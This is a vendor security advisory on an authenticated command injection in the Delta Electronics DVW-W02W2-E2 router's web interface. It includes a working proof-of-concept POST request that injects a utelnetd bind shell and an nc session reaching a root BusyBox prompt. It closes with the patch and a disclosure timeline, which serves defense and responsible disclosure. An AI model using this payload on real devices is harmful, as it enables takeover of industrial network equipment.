[EN] Authenticated Command Injection in Delta Electronics DVW-W02W2-E2

Delta Electronics DVW-W02W2-E2 is prone to an authenticated command injection vulnerability. This vulnerability can be used to execute arbitrary commands on the device.

“Delta, founded in 1971, is a global provider of power and thermal management solutions. Its mission statement, “To provide innovative, clean and energy -efficient solutions for a better tomorrow,” focuses on addressing key environmental issues such as global climate change. As an energy-saving solutions provider with core competencies in power electronics and automation, Delta’s business categories include Power Electronics, Automation, and Infrastructure.”

Source: https://www.deltaww.com/en-US/about/aboutProfile

DVW-W02W2-E2 / V2.42

1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker.

The web server is prone to an authenticated command injection via POST parameters. This is only possible if the “timestamp” parameter is set correctly in the URL. The following proof-of-concept shows how to open a port binding shell on port 8889 with a “utelnetd” listener:

POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`

For accessing the device, the command “netcat” can be used:

$ nc 192.168.3.150 8889
��
��!��
��

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

/ #

Update to firmware version V2.5.2.

None

CyberDanube recommends Delta Electronics customers to upgrade the firmware to the latest version available.

• 2022-08-02: Contacting Delta Electronics.
• 2022-08-10: Vendor requested the advisory without encryption; Sent advisory to Delta Electronics.
• 2022-08-16: Security contact asked few questions regarding responsible disclosure; Sent answers.
• 2022-08-30: Asked for an update.
• 2022-09-01: Vendor responded, that they will need more time to resolve the issues; Provided additional 30 days (until 2022-11-02) for patching.
• 2022-10-11: Asked for an update.
• 2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted release date to this date.
• 2022-10-16: Vendor shifted release date again to 2022-11-18. Shifted advisory release date to the same day.
• 2022-10-17: Asked for an update regarding the release; No answer.
• 2022-10-18: Asked for an update and shifted release date to 2022-10-22.
• 2022-10-19: Vendor responded, that there were problems at releasing the patch. Contact stated, that the patch will delay until end of November.
• 2022-10-21: Asked vendor for a concrete release date; No answer.
• 2022-10-28: Announced advisory release date for 2022-10-30 to vendor.
• 2022-10-29: Found firmware patches with issue date 2022-11-25 on vendors website.
• 2022-10-30: Vendor confirmed fixes. Coordinated release of security advisory.